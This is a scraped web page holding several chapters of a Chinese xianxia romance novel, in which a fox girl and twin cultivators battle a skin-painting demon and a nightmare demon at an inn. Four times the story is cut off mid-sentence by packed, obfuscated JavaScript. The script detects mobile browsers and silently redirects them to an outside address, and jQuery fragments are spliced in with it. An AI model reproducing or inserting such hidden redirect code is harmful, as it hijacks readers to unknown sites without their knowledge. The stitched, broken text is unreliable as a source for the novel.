p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811895|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑜白还真是为天下众生殚精竭虑啊,刚出关又要去救世?偏偏还每次都要带上他。 若不是他们共感共生,他还真不想管这些闲事。 翌日,谢瑜之从义庄出来,撞见一抹熟悉的鹅黄色身影。 她为什么会在这里?她怕不是想找死,血月夜妖鬼横行,她难道不知道吗?! 他几乎是下意识跟了过去,少女到一家叫“春茗轩”的客栈,停了下来。 这不是那次他设下杀阵的客栈吗?也是最近数月以来发生命案最多的客栈。 【小主人,谢瑜之真的跟上来了,你真是玄机妙算啊。】 “反派的小心思,一掐一个准。” “他们应该调查到了吧?画皮鬼总在这个客栈出没,不是巧合。” 【小主人打算怎么做?】 “再住一夜,对了,你给我的那枚舍利子,真的恶鬼难近吗?” 【放心,是真的。而且,我会保护好小主人的。】 “好星星。” 余柚宁径直走进客栈,朝花发男人笑道:“年叔,订一间客栈,还是上次那间房,” 年叔抬起头,眸光闪烁,“姑娘,是你呀。” 他将递过来的银子推了回去,“上次委屈了姑娘,这次就不必付钱了。” 余柚宁接过银子笑道:“那便多谢年叔了。” 转身时,她撞在一个硬邦邦的胸膛上,含着怒意的声音在头顶响起,“你来这里做什么?” 余柚宁抬眼看向他,装出意外相逢的惊讶,“诶?是谢仙师啊?” 她弯起明亮的眼眸,朝他浅浅微笑,“好巧呀,竟然在这里也能碰到你,看来我们很有缘分呢!” 谢瑜之沉吟片刻,抓住她的手腕径直往外走,“跟我走。” 穿堂的风从他们身边涌过,她盈了满身的兰草香,他的手抓得很紧,走得很急。 “怎么了?你要带我去哪里?”余柚宁问。 谢瑜之在一处街角停下,他垂着眼睛,唇角微微向下,开口的声音怒意更甚,“你难道没有听说,这里出了很多命案吗?” “还来这里做什么?想死吗?” 余柚宁瞥见谢瑜之握着承影剑的手,正微微颤抖着,她轻笑一声,握住他的手。 谢瑜之视线微滞,耳尖爬上一抹薄红,“你……你做什么?” 余柚宁故意握得更紧,顺势用指尖轻挠了一下他的手背,靠近他放柔声音道:“谢仙师是在担心我吗?” 谢瑜之挣脱她的手,背过身冷笑,“担心你?我只是担心你死了,变成无皮鬼还缠着我!” “这话谢仙师可就说对了。”余柚宁的眼眸弯成月牙,笑盈盈道:“我就算变成了鬼,也会缠着你的,你可不要害怕呢。” “闭嘴。”谢瑜之抛给她一张传送符,“趁天色还早,拿着这道符,滚回去!” “我不走。”余柚宁拉了拉他的衣角,抬起左手给他看,“你看看,这是什么?” “这可是舍利子,厉鬼都不敢靠近我。” 谢瑜之触及那枚泛着金光的舍利子,确实不是凡物,可今夜来的,也不会是简单的妖魔。 “我查探到了一些关于春茗轩的消息,我想同谢仙师一起,还归云镇太平,可好?” 余柚宁挤出点泪花,委屈道:“我不会拖你后腿的。” 8. 进展 不多时,谢瑜白也赶到了。 三人围坐在茶馆的圆桌边,余柚宁看着眼前的双生子,一时不知道眼睛该往哪里放,毕竟是双倍美貌冲击的快乐。 一个是皎洁若云间霁月,一个是绯暗如幽冥曼陀,还偏偏同时坐在她眼前。 谢瑜白最先开口:“余姑娘,你说春茗轩与画皮鬼一事相关?” 差点忘了正事,余柚宁正色道:“是的,据我所知,春茗轩的最后一间客房,颇有蹊跷之处。绝大多数的遇难者,都在那间客房住过。” “那还不容易,直接将春茗轩烧了便是。”谢瑜之把玩着茶杯,漫不经心道。 谢瑜白冷眼瞥向他。 余柚宁摇摇头,“春茗轩应该是有人在背后与妖魔联系,不过我敢肯定,年叔并未参与此事。” 谢瑜之抬眼,很明显不信余柚宁的说辞,“他是春茗轩的老板,怎么可能没有牵涉?还是说,他给你免了客房的费用,你就觉得他是好人?” 一次暴露太多剧情,她会被世界的秩序反噬的。余柚宁总不能告诉他,是因为看过剧情,才这么肯定吧? 只能一点点引导他们,尽量减少伤亡。 “谢仙师别急,先听我慢慢解释。”余柚宁转向谢瑜白,他微微颔首示意她继续。 “我初次来这里时,也曾怀疑过年叔。可实际上,他只是白发人送黑发人的可怜父亲罢了。” 余柚宁认真分析道:“而我觉得真正有问题的,应该是年叔从未露面的妻子。” “因为,我和紫嫣从入住客栈,再到离开时,都没有见过年夫人。可年叔分明说过,她的夫人在熬甜汤。” 谢瑜白为难道:“这些都是猜测,仙家弟子也不能私闯民宅,若非她出现在客栈,我没办法查探。” 男主还是太守礼仪规矩了,那便只能引她出来了。 “谢仙师别担心,我已订好客栈,春茗轩的最后一个房间。”余柚宁似有若无地瞥向谢瑜之,“到时,可否让小谢仙师陪我一起?” 谢瑜之抬眼看向她,眼中滑过一丝错愕,余柚宁向他会以一个合适的微笑。 “自然。”谢瑜白道。 和聪明人讲话就是容易,余柚宁只需稍微引导,他们便理清楚了来龙去脉,并迅速想出了对策。 接下来,就需要兵分两路。 余柚宁作为诱饵引画皮鬼现身,而谢瑜之和谢瑜白在守株待兔,牵制画皮鬼,寻找画皮妖陶姝和魇魔的踪迹。 “阿宁,好久不见。”邻桌的紫衣少女转过身,笑吟吟望着余柚宁,“我听声音就觉得像,果然是!” “阿嫣?” 紫嫣竟然也在此处,她身侧,还多了个俊俏的公子。看样子,像是仙门的修士。他们十指相握,似乎关系匪浅? 紫嫣察觉她的视线,缓缓抬眼看向身侧的男子,面露羞色,“阿宁,这位是我的夫君,也是长洲山的少主,陆箫。” 什么?长洲山少主?夫君? 容她缓缓,紫嫣的任务不是取长洲山弟子的元阳吗?怎么取个元阳还成亲了?而且他们之间的氛围实在明显。 合欢宗干脆改名吧,改叫姻缘阁好了。 陆箫抱剑朝他们作揖,“见过诸位道友。我奉掌门之命,前来探查画皮鬼之事。想不到竟见到两位谢仙师,幸会幸会。” “长洲山?”谢瑜白微微颔首,“长洲山远在东海,却心系苍生,千里迢迢赶来此处镇鬼除妖。没能尽快处理此事,是水月宗之过。” 陆箫谦敬道:“谢仙师哪里的话,若非水月宗出面,妖魔早就将归云镇蚕食殆尽了。” “血月夜妖鬼众多,既然同为除妖鬼而来,那便同我们一道吧?” “正有此意。”陆箫温柔地看向紫嫣,“嫣儿,时间还早,你去找你的好友叙旧吧。” “好。”紫嫣缓缓松开与他相牵的手,两人的眼神黏腻得能拉出丝来。 紫嫣又过来挽起余柚宁的胳膊,“阿宁,让他们谈,你陪我出去走走吧,能在这里见到你,我真的很高兴。” 余柚宁和紫嫣在街上并步走着,她忍不住问:“你这么快就取到元阳了?” 紫嫣脸上升起不正常的红,轻轻咬了咬唇,点点头,“是的,但是对不起,我不想去合欢宗了。” “陆郎他待我很好,即便我是花妖,他也没有将我视为异类。”紫嫣笑意缱绻,“他为了娶我,接下了除画皮鬼的任务。” 紫嫣说到这里,余柚宁倒是想起来了。书里提过一笔,谢家兄弟在归云镇遇到的长洲山少主,是前期第一个爱上合欢宗妖女的仙门修士。 他为了让心悦之人能正大光明地留在自己身边,甘愿接手这个九死一生的任务。算是个有担当又专情的好男人。 书里关于他们的故事虽只有寥寥几笔,但他们的结局似乎还是美满的,长洲山也在此次之后声名鹊起,在陆箫的手中越来越繁荣。 余柚宁只是从来没想过,紫嫣竟然就是这位长洲山少主的此生挚爱。 她也很好奇,紫嫣这样一个可可爱爱的小花妖,是怎么做到如此迅速就拿下长洲山少主的? 余柚宁通过自己的亲身经历,知道了什么叫做不该问的别问,成年人的事少打听。 简而言之,他们就是酱酱酿酿,然后难舍难分,就在一起了。 看不出来,一点都看不出来。陆箫那样正经的外表下,竟然对紫嫣那样欲求不满。 沉星适时总结道:【小主人,看来你和谢瑜之进展的还是太慢了。】 【多向紫嫣取点经。】 余柚宁严词拒绝,“少儿不宜,还是得循序渐进。” 日落前,余柚宁和紫嫣一起回了春茗轩的客房。余柚宁本不愿紫嫣犯险,可谢瑜之他们那边好像更危险。 她这里起码还有随身携带的舍利子庇护。 这次见到画皮鬼,余柚宁没那么害怕了,谢瑜白也来得很及时,轻易制服住女鬼。随后谢瑜之和陆箫分别将她和紫嫣带离了客栈。 清亮的月光骤然暗淡,墨染的黑云如浪潮般涌向圆月,将月色遮挡得一丝不露,随即刮起阴厉的大风,携着飞沙碎石拍打在屋舍墙瓦。 呼啸声里夹杂着嘶哑的嚎叫,像极了客栈里那女鬼的声音。而声音比客栈里更杂,也意味着厉鬼更多。 很快,整个长街被幽异的红光笼罩,墨云间升起一轮如血般赤红的圆月。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811896|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢瑜之眸光闪烁,掌心悬着的弦月轮放大数倍,“小鬼刚死,她就现身了,画皮妖还真是急不可耐啊。” 他看向执剑的谢瑜白,笑道:“不去会会你那老相好?” “她日日寻找美人皮,不就是为了画出一张你最喜欢的皮,讨你欢心吗?” 余柚宁竖起耳朵聚精会神地听,谢瑜白有老相好?他不是在遇见女主宁雪微之前没接触过任何女子,没喜欢过任何人吗? 谢瑜之越来越放肆,“我说啊,要是你从了她,兴许她就不会杀这么多人了。” 谢瑜白想起初见陶姝时,她那张画皮竟和记忆中母亲的脸一般无二。画皮以神韵为之重,若不是与母亲接触过,不可能画得如此相像,他才因此分了心神。 “这次不会再让她侥幸逃走。”谢瑜白沉声道,碧落剑传出阵阵轰鸣。 余柚宁记得,原著里陶姝对谢瑜白的皮囊爱之入骨,想得到他的倾心。 而魇魔被陶姝的多面美人皮吸引,情不自禁帮助她守护她。上演了一出,她爱他,他爱她,而他不爱她的戏码。 陶姝死得比她还早,也是炮灰一枚。 “既如此,走吧,也该活动活动筋骨了。”谢瑜之道。 看来是反派杀瘾犯了,旁敲侧击只是想拉着哥哥一起去打架。 余柚宁越来越觉得反派有点坏得可爱,一边讨厌谢瑜白,还一边跟着他捉鬼除妖。 谢瑜之的眼神扫射过来,余柚宁立刻咬唇憋住笑,仰头看天,装作很忙地踢着地上的小石头。 谢瑜白颔首,转向余柚宁和紫嫣,“两位姑娘,我与阿之还需擒拿归云镇的其他妖鬼,此地已设下阵法,厉鬼无法轻易靠近。” 余柚宁立刻规矩端立,“多谢谢仙师。” “谨记,辰时之前,不要离开地上的八卦阵,任何人同你们说话,都不要理会,不可回答。” “我们记下了。” “这里面有醒神香,能帮你们分清鬼怪生出的幻影。”谢瑜白递出一只青色浮光锦制成的锦囊。 余柚宁接过小心地捧在手里,低头轻嗅锦囊,朝谢瑜白弯眸而笑,“味道很好闻呢,清新淡雅,令人神清气爽,仙师有心了。” 忽然,一记弦月状飞轮向余柚宁的手背袭来,余光瞥见,她迅速侧身去躲,飞轮擦着她的鬓发而过,割下几缕青丝飘散。 她又不争气地露出妖相。 “阿之!你做什么!”谢瑜白抬眼直直盯着谢瑜之。 弦月轮拖曳着蓝色碎焰,在半空中旋转一圈,稳稳落回谢瑜之手里。他眼神落至余柚宁的脸,少女的脸色都吓白了几分,还紧紧攥着那只锦囊。 他不清楚自己为什么会这么做,反正就是觉得她拿着锦囊碍眼。 “抱歉,余姑娘,刚刚手滑飞出去了,没伤到吧?”他的眼尾扬起,墨色的眸子在红光中很亮。 看不出丝毫担忧抱歉的样子,反而像恶作剧成功的小屁孩,满眼闪烁着兴奋。 他这是发什么癫?嫉妒他哥给了她锦囊而没给他? 余柚宁瞪他一眼,挂起假笑,“没事的没事的,我知道小谢仙师不是故意的。”她刻意在最后三个字加上重音。 9. 同类 谢瑜白感知到大妖的气息,提醒谢瑜之,“阿之,走了。” 陆箫看向紫嫣,“阿嫣,要多加小心,我很快会回来找你。” “嗯。”紫嫣乖巧地点点头。 碧落剑青芒乍现,一道雪色身影已飞身而去,谢瑜之打量着她,眼神有些意味不明,随即轻震承影剑,跟上谢瑜白和陆箫。 “阿宁,你说他们长得这么像,为什么性格如此迥异?”紫嫣待两道身影消失,才敢问。 余柚宁一脸神秘,拖长声音,“因为,时也,命也。” 紫嫣虽听不太懂,还是配合地点头,此时,一阵空灵诡异的歌声由远及近。 “月儿弯弯,照窗棂。” “爹娘灯下,缝新衣。针脚密,线儿长。”声音断断续续,似寻常的民间歌谣,可曲调有些扭曲古怪。 紫嫣打了个哆嗦,手攀上余柚宁的肩膀,连连颤抖着,“阿宁,你听到了吗,这歌声……好瘆人啊。” 这声音会沁入人的骨髓,泛起阵阵寒意,而寒意之中好像饱含思念,余柚宁把锦囊交到紫嫣手里,“醒神香还在,应该没事的吧?” 歌声仍在飘荡着:“阿囡要穿,花衣裳,待新春,放炮仗。炮仗响,阿囡笑,爹娘抱。” 声调陡然拔高,异常尖锐凄厉:“好痛!我的身体好痛啊!” “阿爹!阿娘!救救惜儿!救救惜儿!” 余柚宁的视线随着声音看向街角,一团红色的东西正扭曲着挪动,拖出一道粘稠的血迹。她去的方向……是春茗轩。 紫嫣哆哆嗦嗦指着它尖叫,“鬼啊!怪物啊!” 那只鬼在空气中闻嗅,咧嘴笑了起来,迅速调转方向爬向她们,“活人!是活人!我很快就能见到爹娘了!” 紫嫣和余柚宁抱着缩成一团,而鬼在触碰到地上的八卦阵时,发出滋滋的炙烤声。 余柚宁松了口气,瞧见那鬼的血肉外竟缓缓生出一层青色类似皮肤的东西,将自己包裹住,似乎费了极大的努力。 她仍然不像人,抬起头时,是一张没有五官空白的脸。女鬼面向她们跪下,声音嘶哑,“求求你们帮帮我,春茗轩是我生前的家。” “我想见我的爹娘一面!求求你们了!” “我叫年惜,我父亲叫年成山。我所说的句句属实!” 她连连磕头,紫嫣有些动容,下意识问:“你就是年叔的女儿?” 女鬼跪着的身子忽然直立起,她的头转向紫嫣,嘴角扯出一个怪异的幅度,分明没有五官,却能感觉到,她在笑。 “终于……有人回答我了。” 她的手迅速伸长死死抓住紫嫣的肩膀,将她拉了出去,“你要帮我!你必须帮我!” “阿宁!阿宁救我!”紫嫣哭着扳扯女鬼的手,无法挣脱半分。 糟了,紫嫣与女鬼对话,连谢瑜白的八卦阵都护不住她。 眼看着紫嫣被鬼带走,可她又能怎么办?炮灰的妖力太弱了,连一道完整的法术攻击都使不出来。 余柚宁颤抖着手握住舍利子,舍利子刚刚驱挡过女鬼一次,金芒暗淡了些。她仍迈出八卦阵半步,抓住紫嫣的另一只手,“年惜,放开她。” 八卦阵的青色光华随之熄灭。 紫嫣噙着满眼泪光,泣不成声,“阿宁,怎么办?我们会不会死啊?” 年惜转头“看”向余柚宁,“我只是让她帮我一个忙。” “什么忙?说说看?”余柚宁把紫嫣往身边拉近,“说不定我也可以帮你。” 年惜显然没猜到她会这样说,她松开紫嫣转而抓住她的肩膀,“当真?” 余柚宁点点头,肩膀传出一阵剧痛,她才发觉年惜的指甲已经陷进了她的皮肉,霎时舍利子发出一阵金光,迫使年惜松开手。 “我是五月初八被魇魔和画皮妖害死的,画皮妖名为陶姝,她告诉我们必须寻得一块与尸身匹配的美人皮才能投胎。” “所以你也想要人皮吗?”余柚宁问。 “不是的。”年惜答,“阿爹教过我,己所不欲,勿施于人。我深知被剥皮而死的痛苦,不愿这样做。” 沉星适时解释:【小主人,其实做了反而才不能投胎,那些画皮鬼只是陶姝的马前卒而已。】 画皮妖并没有完整的身体,只有一颗心,她是由一张张人皮堆叠而成的,而取来的人皮就算再怎么精心养护,也会随着时间的推移腐败。 没想到画皮妖杀了她们还不够,死了都不忘榨干她们的最后一丝价值。 她的鬼气并不那么刺鼻,看来也并非厉鬼,余柚宁对年惜生了同情,“只要不是做坏事,我可以尽可能帮你。” “多谢姑娘。” 年惜向她服了服身,飘至春茗轩前,“我死的当天,寂空山的仙师便下山了,归云镇每家每户都贴了驱鬼的符咒。” “我只能在夜里出没,而没有人会在夜里外出。我想见爹娘,但没办法进去。” 余柚宁闻言问:“没办法进去?那今夜那只女鬼?” “她应该是喝了陶大人给的药。”年惜叹道,“听说喝过药还取不到人皮,会被投入血池。” 紫嫣大起胆子,指着大门上的符咒问:“是不是要撕下符咒?才能帮你进去?” 年惜点点头,又恍然想起什么直摇头,“仙门的符咒常人无法撕下,而且今夜危险,若是没了符咒,我担心爹娘会出事。” “那该怎么办呀?”紫嫣杵着下巴,低低叹气。 余柚宁思索片刻,正色道:“既如此,眼下只有一个办法了。” “什么办法?” “附身。”余柚宁神色淡然,抬眸看向年惜,“你应该知道怎么做。” “我……”年惜深深望了余柚宁一眼,未动半步。 “可是!”紫嫣轻扯余柚宁的衣袖,眉头紧锁,放低声音,“怨鬼附身耗阳气,搞不好会出事的。” 归云镇入口。 陆箫去擒拿余下的厉鬼,由谢瑜白和谢瑜之应付大妖和魇魔。 陶姝身着红衣,肩胛被蓝色的锁链穿过,悬于赤月之下,雪色皮肤被激荡的青色剑芒滑过,一层层脱落下来。 “啊啊啊!我的美人皮!” “谢瑜白!你当真这般狠心?!”陶姝狰狞地叫着,身上人皮不断剥落,无数种面容扭曲变化。 剑鸣声震荡,红月之下,白衣依旧不染纤尘,如冷月般皎洁。 谢瑜白冷声道:“要么你自己入炼妖壶,要么死于碧落剑下。” “你当真要杀我?你不是说过,妖不是非杀不可的吗?” 谢瑜白并不看她,“你罪孽深重,必诛之。” 谢瑜之扫了一眼地上的人皮,走近她讽刺道:“这么多皮,没一张好看的,甚至不如那只笨狐狸,你的眼光可真差啊。” “也难怪你努力找了那么久,我哥都看不上你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811897|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶姝怒瞪着谢瑜之,“你懂什么?!你这样的男人,一辈子娶不到媳妇!” 谢瑜之嘴角抽搐,弦月轮的蓝焰被一道赤色包裹,冷冷挤出几个字,“我不需要!” 他恍然想起弦月轮滑过余柚宁发丝的时候,她炸毛的狐尾和抖动的耳朵,又想起她每次望着他时,那满眼荡漾着星河的眼眸。 碧落剑清辉流转,剑尖抵在陶姝的心口,她再抬起头,弦月轮横在她的脖间。 陶姝彻底失控怒喊:“谢瑜白,我不过是喜欢你而已!我有什么错!” “再说了,你我无冤无仇,你为什么非要多管闲事!” 他眼眸微抬,淡淡道:“除魔卫道,镇鬼诛妖,我等义不容辞。” 墨汁般的黑雾笼罩在陶姝身上,轻易将她从剑阵中带出,朔风飞沙的呼呼声中,传出一阵猖獗的笑声: “哈哈哈哈——” “除魔卫道,义不容辞?”黑雾凝成一个壮汉身形的男人,斜睨着谢瑜之,“谢瑜白,你难道不也清楚他是什么吗?” “他不就是同我一样的魔物吗?” “你口口声声除魔卫道,护着这个魔物又算什么呢?难道姓谢的魔物就不是魔物吗?” 谢瑜之双眸微眯,眸色暗沉下来,看向魇魔时好像在看死物一般,“我跟你这种丑陋的东西可不一样。” 魇魔低笑,“怎么?你想说你不是魔吗?” “今夜可是血月夜,妖魔难藏。” 谢瑜之抬手收回弦月轮,悬于掌心微转,他的视线落在手腕上泛着红光的梵文,缕缕黑气正从梵文边缘蔓延生长。 他扯起唇角,一字一顿道:“我是魔啊。” 弦月轮划过梵文,他抬眼时,原本墨色的眸子染上一层血色,“不过,你还不配与我相提并论。” 暗红色的血顺着指尖滴落,源源不断的魔气涌出,似逃出囚牢的困兽般兴奋地翻涌,赤月都显得暗淡起来。 谢瑜白死死抓住他的手,青色的灵力涌入他的经脉,“阿之,凝神静气,不要被心魔控制!” “不要听妖魔胡诌,你是我的弟弟,并非魔物!” 魔气与灵力相克,不过片刻,谢瑜白便被魔气侵蚀得吐出一口血来。 谢瑜之移开他的手,以魔阵将他困住,挑眉正色道:“兄长,你是不是说错了?是魔心,而非心魔啊。” “你不必联合所有人瞒着我,我生了怎样一颗魔心,我自己清楚。” 弦月轮遍布烬色赤焰,在他身后轻旋,他将视线转向魇魔和画皮妖,猩红的眸子跃起一抹怪异的兴奋。 他歪头笑道:“以魔功杀妖魔,又算不算是除魔卫道呢?” “谢瑜之!你疯了?” 魇魔被他满身的魔气,比自己更重的威压震慑得连连后退,指着谢瑜白道:“你不杀这里唯一的仙,算什么魔!” 谢瑜之拖着承影剑,不疾不徐走向他们,剑尖在地面刮出一道碎焰,弦月轮发出一阵轰鸣,拖曳着赤焰撞向魇魔。 魇魔匆忙化为黑雾,被弦月轮绞成碎片,发出凄厉的叫声,仍挑衅道:“你杀不死我,只要梦魇存在,我便不——” “不灭?那便见你一次,杀你一次。” 承影剑化作无数道暗影,将碎裂的黑雾碾作飞灰,魇魔再不敢停留,狼狈逃窜,“谢瑜之!你根本就是个疯子!” “污浊之物,通通杀了才干净。” 10. 痴怨 陶姝在谢瑜之身上看不到一点仙家正派的样子,他满眼嗜杀,恍若从幽冥炼狱爬出来的修罗。 “你难道不想知道你娘在哪吗?我知道你娘的下落!” “我娘早死了。”谢瑜之淡淡瞥向她,“不要试图与我谈条件。” 陶姝拖着残破不堪的身子连连往后缩,本就碎裂的皮肤被地面磨成暗红色的碎块,“不要……不要杀我!求你放过我!” 谢瑜之嫌弃地皱了皱眉,抬手间,弦月轮破空而来,插在陶姝的两膝处,将她固定在原地动弹不得,深深陷入地里。 “啊——” 陶姝忽然凄厉地笑起来,“哈哈哈哈,你和你娘都是魔族的笑话!” “一个甘愿放弃魔族圣女的身份,随谢无咎而去不得善终!一个身为天魔还试图修仙,甘当仙门的杀戮工具!” “多好笑啊!哈哈哈——” 陶姝的声音戛然而止,承影剑贯穿了她那颗由层层人皮包裹住的心脏,布满血丝的眼睛死死盯着血流不止的胸口,不可置信,“怎么可能……” 谢瑜之随手拔出承影剑,取出方帕耐心地擦拭剑刃,轻笑道:“果然没猜错,你的心长在右边呢。” 解决完画皮妖,他的眼前似乎被一层血雾笼罩。心底升起一种异样的渴望:“杀戮,血腥,不该停止。” 长街中凄厉的鬼嚎此起彼伏,一柄青色长剑横在玄衣青年身前,“阿之,你醒醒吧!” 另一边,紧闭的客栈门前。 余柚宁看向年惜,“怎么样?你考虑好了吗?” 年惜跪下朝她们拜了三拜,随即站起身,目光落在她的尾巴上,“姑娘愿意,年惜万分感激,只是姑娘的妖相,怕是会吓到家中父母。” 搞半天是因为这个啊,余柚宁闭目凝息,收起妖相,问:“这样可以了吗?” “嗯嗯。”年惜激动地点点头。 “阿宁,还是我来吧。”紫嫣走到余柚宁身前,郑重其事:“附我的身吧。” 年惜略带疑惑地看向她,又看向余柚宁,踌躇不前。 “阿嫣,不行的。”余柚宁拒绝道,她有沉星保护,应该不会出事,可紫嫣的妖力和她差不多。 紫嫣解释道:“阿宁,你忘了吗?我是紫藤花妖,花妖每日都要浴日汲取灵力,即便沾了鬼气经过浴日也能恢复如初。” 她放低声音,“毕竟这事也是我惹出来的,我们是朋友,但我也要学着自己解决事情啊,不能总依赖你。” 余柚宁见她态度坚决,不再阻拦。 年惜化作一缕青烟,飘入紫嫣的眉心。她再睁开眼时,神态完全换了一个人,笑容温婉柔和。 “余姑娘,同我一道进去吧?” 年惜催动紫嫣的妖力,用伸出的花枝从里面解锁,紧闭的大门吱呀一声打开。 院中的景象,一草一木,一墙一瓦,都是她记忆里的样子,分毫未改。她儿时用稻草扎的小马驹,好端端摆在屋檐下。 她在医馆学医时,济恩堂大夫夸她学得好,送给她的铜人,也都摆在原来的位置。 她本想着等学会了医术,在客栈旁开一个自己的医馆,没人的时候还可以帮衬爹娘,可是……再也没有机会了。 余柚宁见她呆呆地站在门口,提醒道:“年惜,现在已是寅时,再不进去天就该亮了。” 她擦去眼角的泪渍,径直走到正房前,房内传出阵阵鼾声,年惜的手悬在门前,迟迟没有敲门。 “没事的。”余柚宁在旁边轻声宽慰她,“年叔每日都把你的房间打扫得很干净,他很想你。” “你等了那么久,不就是等这一天吗?” “嗯。”年惜点点头,手指轻叩房门。 房内传出一阵响动,年叔打了个长长的呵欠,朝外面喊道:“客官有什么事吗?” “稍等片刻,我很快出来。”房内亮起明黄的灯光,脚步声靠近门口,木门推开一个细缝。 年惜迅速背过身去。 灯火照到她的脸上,泪痕映着灯影。年叔最先看到余柚宁,朝她道:“客官?是房间里出了什么事吗?” 余柚宁摇摇头,把年惜拉到身前,“年叔,我没有别的事,只是带一个人来见你。” 年叔和蔼地笑着,“这不是与你同行的那位姑娘吗?” “爹。”年惜看向他时,双目通红,早已泣不成声,“我是惜儿啊!” 年叔先是一怔,颤抖着手抬到半空中,倏然又落下,他重重阖起眼,“姑娘莫要戏弄我这个老头子了。” “爹,真的是我,我来看你了。”年惜紧紧抱住年叔,“我为阿爹泡的青梅酒,就埋在院中的那棵梨树下。” “不过你要答应女儿,少喝酒,保重身体。” 年叔哑声道:“真的是……我的惜儿?” “是两位姑娘好心,愿意帮我,我才有机会见到阿爹。”年惜慢慢松开年叔,望向房内,“对了,阿娘呢?” 年叔擦着年惜脸上的泪痕,答道:“你娘最近身子不太好,嗜睡难醒。” “可有请大夫看?”年惜抓住他的手,满脸忧色。 “请了,可大夫也看不出毛病,只是开了些调理身子的药。”年叔缓缓打开房门,拉着年惜进去,“我带你见见你娘吧。” “说不定今夜见了你,她能醒来。” 今夜应该是年家父女最后一次团聚了,余柚宁默默走到另一边的竹椅上坐下,轻叹:“要是我也能找到爷爷就好了。” 年惜在见到房内的年夫人时,愣愣站在原地,她不可置信地望着床上沉睡的人,拉着年叔退了半步。 “惜儿,这是怎么了?”年叔以为她是思念娘亲,有些不知所措,笑道:“放心,你娘肯定能比我早认出你。” “你以前画了大花脸她都能一下子看出来。” 年惜走近她伸手探了探她的额头,绿色的异光飘散开来,一片死气,“怎么可能?” “怎么会这样!” “惜儿,你在说什么?”年叔摸不着头脑,此时,床上的年夫人缓缓睁开了眼。 年夫人涣散的视线聚拢,看向年惜时,眼底滑过一丝错愕,又疑惑地转向年叔,问:“老爷,这位是?怎么半夜来正房了?” “夫人,你醒了。”年叔扶起她笑道:“这是咱们的女儿年惜啊,她回来看我们了!” 年叔话音刚落,年惜一把掐住了年夫人的脖子,“你是谁?你为什么冒充我娘亲?!” “哎呀!惜儿!你这是在做什么啊!”年叔急忙扳开她的手,“你娘亲身子本就不好,你这样不怕要了她的命吗?” 年惜的指甲疯长,声音变得嘶哑,“爹!她是鬼尸!她根本不是我娘!” “惜儿。”年夫人虚弱地开口,“我确实是鬼尸,但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811898|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是你娘。” 年叔的瞳孔抖了抖,转头瞧见年夫人发绿的脸色,手里的灯啪嗒掉在地上。 年惜被一道鬼气震开,年夫人拢袖站起身,缓缓看向年叔,“老爷,你可还记得六年前惜儿落水,我救她昏迷,被好心人救回来那次?” “那次回来后你昏睡了一天。”年叔似想到什么,“难道……?” “是的,其实六年前我就已经死了。”年夫人释然一笑,转向年惜,“惜儿,是阿娘对不起你。” “若是那次我完成与他们的交易,你就不会出事了,但是惜儿别怕,阿娘找到办法救你了。” 年惜退了几步,撞到桌柱才停下,“为什么?为什么你已经死了还能在肉身里?而且和常人无异。” “若不是我自己成了鬼,想必也看不出来。” 年夫人走近年惜,爱抚地摸了摸她的鬓发,“这个答案,阿娘暂时不能告诉你。” “很快你就会知道的。” 余柚宁靠在竹椅上昏昏欲睡,梦见了许久未见的爷爷,坐在一处云雾缭绕的地方钓鱼,没等她上前,就被正房里传出的声音惊醒。 该死,怎么能在这个时候睡觉。余柚宁懊恼地拍了拍头,快步往正房赶。 房内的灯火变成了幽深的绿色,纸窗上映出两个人的影子。 “惜儿听话,很快,你就可以像娘亲一样,永远留在人间了。” “我们一家人,永远在一起。” 她跨进门槛时,紫嫣的身体同年惜一起,被年夫人用绳索控制住了,而年叔像是昏睡过去,静静地躺在床上。 “你是何人?” 年夫人长相柔和,而青色的皮肤,全黑的眼瞳看不见一丝眼白,明显就是鬼尸的样子,她的脸映着幽光,还朝她笑着,更加诡异又瘆人。 余柚宁将舍利子紧紧握在手里,靠在门边瑟缩起身子,哆哆嗦嗦道:“年、年夫人,我知道你的秘密。” “你、你收手吧,否则不会有好下场的。” 年惜挣扎着朝余柚宁喊:“余姑娘,快走!快离开这里,你会死的。” “是我连累了紫嫣姑娘,我对不住你们。” 年夫人的头似木偶般转动,声音嘶哑,“你就是今夜住在最后一间客房的客人?” 